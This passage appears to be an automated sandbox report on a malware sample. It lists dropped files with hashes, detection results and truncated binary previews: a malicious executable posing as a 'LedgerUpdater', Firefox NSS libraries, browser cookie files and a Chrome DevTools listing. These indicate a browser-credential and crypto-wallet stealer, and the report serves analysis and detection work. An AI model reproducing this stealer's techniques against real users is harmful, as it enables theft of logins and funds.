Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DBFHCGCGDA.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	5.338930762014548
Encrypted:	false
SSDEEP:	48:MxHKlYHKh3ouHgJHreylEHMHKo/tHo6hAHKzeR:iqlYqh3ou0aymsqwtI6eqzm
MD5:	15E04367C03184DCF6E0D75C17713029
SHA1:	ED1BF186345A11D8B4741F52B9DDCCE8702C8A12
SHA-256:	C10A3B6F0C9F3DA0C85A63F296C3E027E486BC174FFDDA6371B00AE605799D76
SHA-512:	EE9ADFDF176D8171AFB95920C265CBE5AC652D34990CF924E491C06337929BBDBF9EEEADE96EFB7943D07C25D66D634F49FD9C2B4CFFE072747FAD7E40ED4618
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\4d760e3e4675c4a4c66b64205fb0d001\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\17470ef0c7a174f38bdcadacc3e310ad\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\LedgerUpdater[1].exe

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109056
Entropy (8bit):	7.601271926021863
Encrypted:	false
SSDEEP:	1536:BICbUxKOcuS11Phbiyn2TCdfGyJVGJkyrt517EwM+UPTedxKOcuS11Phbiyn2TCf:2CbUsISnRGPJkGt74YsISnRF
MD5:	BA38615AB308EFBDB2A877277AB76CD0
SHA1:	DB1A7FB291820B7581F98CF0623462C431288E5E
SHA-256:	06A5989061AAC0564C43D883C74DC603F4489E149E04142D1BB7074B7E661BD1
SHA-512:	5FB878C7875C6F38664BF56389D432883933B2FF956FD9FA7475DA7926C4289C738FF7A1FB8A244D5E69F485B9520F678FFF90AE6673A9C15A4DE50A20518F54
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....&..........."...0..2...v.......Q... ...`....@.. ....................................`.................................LQ..O....`.. s...........................P..8............................................ ............... ..H............text....1... ...2.................. ..`.rsrc... s...`...t...4..............@..@.reloc..............................@..B.................Q......H.......d0...9...........j..............................................>. 4......(....2......o....:........o.....0..,........o....r...p $...........%...%....o....t....&...o......(....J.r!..p.s....(....Js....%o....o....&..( ...6.(!....(.......0..$........{....,...}....rK..p.s.......("...f..3...t....}......}......(#....~....-.r...p.....($...o%...s&........~.....~............~......('...Vs....((...t...........{...."..}....*..0..G.......s).....(.......+....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.366007319819115
Encrypted:	false
SSDEEP:	48:SfNaoQjpTEQ+fNaoQONYNiQONVfNaoQVQIfNaoQIKA0UrU0U8QIh7:6NnQjpTEQmNnQEQoNnQVQUNnQIKA0Urp
MD5:	896B7A11BC8F72B1A6B1C6F2285FBADD
SHA1:	78CD765ABC422E4FEED3413F59E7C467E6FC6EE3
SHA-256:	3F7FAEE178209F56382770DFA25A03A4B93C0F90AF3AA63119910ECCFD279709
SHA-512:	79FAF038461F1BB7C0716F55C958A6DE574E64320CDD8BE21ED3CEAE001E76A1F217AB091C465D6B703A5587BC6CB12AD2DDBD175B56C7B06C4EC8EA13EC9D60
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/AF11E87CE6FBDF2C942D2DE23028B1A0",.. "id": "AF11E87CE6FBDF2C942D2DE23028B1A0",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/AF11E87CE6FBDF2C942D2DE23028B1A0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/69EFA85CDA1D485CCC16956C46052F94",.. "id": "69EFA85CDA1D485CCC16956C46052F94",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/69EFA85CDA1D485CCC16956C46052F94"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\ledger_timestamp

Download File

Process:	C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.7219280948873625
Encrypted:	false
SSDEEP:	3:L4Qu:I
MD5:	16F5BF41CC62711E390451C4939D2126
SHA1:	BA06F9147AC817C45FA907CCD9F4CB61E024335F
SHA-256:	4F406C19F9AD4282AF633E62808A2799B7F4CAAB477739F75DFDE78C7B098F50
SHA-512:	0D858C49F617F6E8DEDD957AB5AE711522BB206E68884C2EB13D1D5BEA8AE8228B6AB2EFC226814DD2333DC2CF92D7C653A65CD9272375FDB5095D88788FE15C
Malicious:	false
Preview:	1732085308

C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109056
Entropy (8bit):	7.601271926021863
Encrypted:	false
SSDEEP:	1536:BICbUxKOcuS11Phbiyn2TCdfGyJVGJkyrt517EwM+UPTedxKOcuS11Phbiyn2TCf:2CbUsISnRGPJkGt74YsISnRF
MD5:	BA38615AB308EFBDB2A877277AB76CD0
SHA1:	DB1A7FB291820B7581F98CF0623462C431288E5E
SHA-256:	06A5989061AAC0564C43D883C74DC603F4489E149E04142D1BB7074B7E661BD1
SHA-512:	5FB878C7875C6F38664BF56389D432883933B2FF956FD9FA7475DA7926C4289C738FF7A1FB8A244D5E69F485B9520F678FFF90AE6673A9C15A4DE50A20518F54
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....&..........."...0..2...v.......Q... ...`....@.. ....................................`.................................LQ..O....`.. s...........................P..8............................................ ............... ..H............text....1... ...2.................. ..`.rsrc... s...`...t...4..............@..@.reloc..............................@..B.................Q......H.......d0...9...........j..............................................>. 4......(....2......o....:........o.....0..,........o....r...p $...........%...%....o....t....&...o......(....J.r!..p.s....(....Js....%o....o....&..( ...6.(!....(.......0..$........{....,...}....rK..p.s.......("...f..3...t....}......}......(#....~....-.r...p.....($...o%...s&........~.....~............~......('...Vs....((...t...........{...."..}....*..0..G.......s).....(.......+....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7928)
Category:	downloaded
Size (bytes):	7933
Entropy (8bit):	5.76265090243921
Encrypted:	false
SSDEEP:	192:y6Fd66666qirdw+TFd66666xvGwOnhmYUOA48Q9XIFd66666Ewsck1mAAvBUVq6:yg66666dxv66666d8M9OR1O66666/stN
MD5:	1DA0F97DCE56EAD6F0F338DA0CB7FADA
SHA1:	1B99524495553DA657AEBEF71C448F66C4313806
SHA-256:	8B293587C12D5E9E3C938499DA7956772B5CAB3416F638E3813E08E73E6D0020
SHA-512:	A903EC159BF079B42DC8E11DF084764E4DFB878540383485772221B2D5D8781C147AA14527A54D7538D59C2C374A51B3EB4F0211214C86F29EA4452A9C74C2C3
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["toxel pokemon go","t1 zeus","gladiator ii","boston university suspends admissions","kyle busch","high potential new episodes","magnetic north pole moving","boeing layoffs"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"Cg0vZy8xMW4xNms0cV9jEhVaZXVzIOKAlCBLb3JlYW4gZ2FtZXIyswpkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQURBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBREFRQURBUUFBQUFBQUFBQUFBQUFBQmdjRkFnTUVDUC9FQURFUUFBRURBd0lFQkFVREJRQUFBQUFBQUFFQ0F3UUFCUkVTSVFZeFFYRUhJbEZoRklHaDBmQXljckVJRXhVell2L0VBQmtCQUFJREFRQUFBQUFBQUFBQUFBQUFBQUFDQVFNRUJmL0VBQ0lSQUFJREFBRUNCd0FBQUFBQUFBQ

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132963
Entropy (8bit):	5.434998857545397
Encrypted:	false
SSDEEP:	3072:ffkXyPqO7UX1Hme9kZbs4Voc5ESnXqwQ2i6o:fAyWFHrp4Voc5ESnawQ8o
MD5:	B102E217FD1AF5836E8E52DB44D7B96A
SHA1:	46689F83DEE878CC4D4B31AAC68F1D53646833F1
SHA-256:	96E1F537992A28F51FDAB4985C44E85CA8BEBD38D2C6AAA21EC4CA8B1A88DA9A
SHA-512:	563E287CA409AE238917AD7D347341F31CCA2872C429A46F7D6805D5AE108824903070EAB8195147524470A710D34A291E5C707CA7A3C7CE30B377E3403AD590
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
